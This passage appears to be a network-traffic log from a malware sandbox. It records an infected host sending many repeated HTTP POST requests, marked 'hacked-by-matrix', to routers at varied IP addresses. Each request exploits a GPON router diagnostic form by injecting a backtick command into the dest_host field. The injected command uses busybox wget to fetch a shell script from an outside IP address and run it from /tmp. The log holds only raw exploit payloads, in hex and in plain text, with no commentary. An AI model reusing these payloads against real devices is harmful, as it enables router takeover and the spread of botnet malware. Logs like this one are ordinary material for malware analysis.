Mar 2, 2024 12:36:51.842741966 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.23	49520	42.194.151.191	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.842765093 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.23	51830	79.156.60.88	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.842787027 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.23	56026	212.2.17.71	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.842809916 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.23	48580	109.134.234.51	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.842816114 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.23	39696	178.191.119.5	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.842839956 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.23	55188	37.104.162.165	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.842849970 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.23	40960	94.219.65.7	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.842879057 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.23	48988	118.138.219.137	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.842900038 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.23	50202	212.5.215.164	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.842933893 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.23	57098	5.1.145.24	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.842953920 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.23	35642	37.222.220.147	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.842963934 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.23	47682	109.215.20.168	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.842987061 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.23	47930	37.119.110.36	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.843024015 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.23	34416	79.102.48.24	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.843050003 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.23	54300	5.14.93.200	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.843080997 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.23	37544	94.96.66.129	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.843101025 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.23	43206	178.240.37.146	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.843118906 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.23	52028	2.204.87.203	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.843123913 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.23	32838	37.42.57.176	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.843153000 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.23	36904	210.78.18.97	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.843173027 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.23	45164	118.172.220.187	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.843188047 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.23	50528	37.66.117.197	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.843244076 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.23	47146	2.20.112.162	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.843276978 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.23	51308	210.120.109.221	443

Timestamp	Bytes transferred	Direction	Data
